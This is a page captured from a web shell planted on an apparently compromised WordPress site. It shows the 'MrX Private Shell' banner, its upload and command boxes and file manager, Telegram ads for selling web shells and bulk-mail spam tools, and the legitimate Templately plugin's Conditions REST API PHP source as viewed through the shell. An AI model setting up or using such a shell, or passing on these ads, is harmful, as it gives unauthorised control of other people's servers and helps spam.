__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace Templately\API;

use Templately\Builder\Managers\ConditionManager;
use Templately\Builder\Source;
use WP_REST_Request;
use WP_REST_Response;

class Conditions extends API {
	/**
	 * @var ConditionManager
	 */
	private $conditions_manager;

	public function permission_check( WP_REST_Request $request ) {
		$post_type_object = get_post_type_object( Source::CPT );

		return current_user_can( $post_type_object->cap->edit_posts );
	}

	public function register_routes() {
		$this->get( 'conditions', [ $this, 'get_conditions' ], [
			'template_id' => [
				'required'          => false,
				'validate_callback' => function ( $param ) {
					return empty( $param ) || is_numeric( $param );
				}
			]
		] );

		$this->get( 'check-conditions', [ $this, 'check' ], [
			'template_id' => [
				'required'          => true,
				'validate_callback' => function ( $param ) {
					return is_numeric( $param );
				}
			]
		] );

		$this->post( 'save-conditions', [ $this, 'save' ], [
			'template_id' => [
				'required'          => true,
				'validate_callback' => function ( $param ) {
					return is_numeric( $param );
				}
			],
			'conditions'  => [
				'required'          => true,
				'validate_callback' => function ( $param ) {
					return is_array( $param );
				}
			]
		] );

		$this->get( 'autocomplete-condition', [ $this, 'autocomplete' ], [
			'payload' => [
				'required'          => true,
				'validate_callback' => function ( $param ) {
					return is_string( $param );
				}
			],
			'query'   => [
				'required'          => true,
				'validate_callback' => function ( $param ) {
					return is_array( $param ) && array_key_exists( 'query_type', $param );
				}
			]
		] );

		$this->conditions_manager = templately()->theme_builder::$conditions_manager;
	}

	public function get_conditions( WP_REST_Request $request ): WP_REST_Response {
		$conditions = $this->conditions_manager->get_conditions_for_display( $request->get_param( 'template_id' ) );

		return $this->success( $conditions );
	}

	public function check( WP_REST_Request $request ): WP_REST_Response {
		return $this->success( [] );
	}

	public function save( WP_REST_Request $request ): WP_REST_Response {
		$conditions = rest_sanitize_array( $request->get_param( 'conditions' ) );
		$id         = (int) $request->get_param( 'template_id' );


		$this->conditions_manager->save_conditions( $id, $conditions );


		return $this->success( __( 'Successfully saved.', 'templately' ) );
	}

	public function autocomplete( WP_REST_Request $request ): WP_REST_Response {
		$query = $request->get_param( 'query' );
		$type  = $query['query_type'] ?? '';

		if ( empty( $type ) ) {
			// FIXME: need throw error maybe
			return $this->success( [] );
		}

		$by_field = $query['field'] ?? '';

		if ( empty( $by_field ) ) {
			// FIXME: need throw error maybe
			return $this->success( [] );
		}

		$payload = sanitize_text_field( $request->get_param( 'payload' ) );
		$args    = [ 'search' => $payload ];
		if(is_numeric($payload)){
			$args = [ 'post__in' => [(int) $payload] ];
		}

		if ( isset( $query['query'] ) ) {
			$args = wp_parse_args( $query['query'], $args );
		}

		$results = [];

		switch ( $type ) {
			case 'taxonomy':
				$_default = [ 'hide_empty' => false ];
				$data     = get_terms( wp_parse_args( $args, $_default ) );
				$data_key = 'name';
				break;
			case 'posts':
				$args['s'] = $args['search'];
				$data      = get_posts( $args );
				$data_key  = 'post_title';
				break;
			case 'authors':
				$args['search_columns'] = [ 'user_nicename', 'user_login' ];
				$args['search']         = "*{$args['search']}*";
				$data                   = get_users( $args );

				$data_key = 'display_name';
				break;
		}

		if ( ! empty( $data ) && is_array( $data ) ) {
			foreach ( $data as $item ) {
				$results[] = [
					'label' => $item->{$data_key},
					'value' => $item->{$by_field}
				];
			}
		}

		return $this->success( $results );
	}
}

Filemanager

Name Type Size Permission Actions
AIContent.php File 25.11 KB 0640
API.php File 6.33 KB 0640
Categories.php File 1.06 KB 0640
Conditions.php File 3.87 KB 0640
Dependencies.php File 12.41 KB 0640
FullSiteImport.php File 252 B 0640
Import.php File 6.81 KB 0640
Items.php File 14.25 KB 0640
Login.php File 8.08 KB 0640
MyClouds.php File 7.71 KB 0640
Profile.php File 5.42 KB 0640
SavedTemplates.php File 1.73 KB 0640
SignUp.php File 2.64 KB 0640
Tags.php File 866 B 0640
TemplateTypes.php File 1.85 KB 0640
ThemeBuilderApi.php File 1.82 KB 0640
WorkSpaces.php File 9.79 KB 0640
Filemanager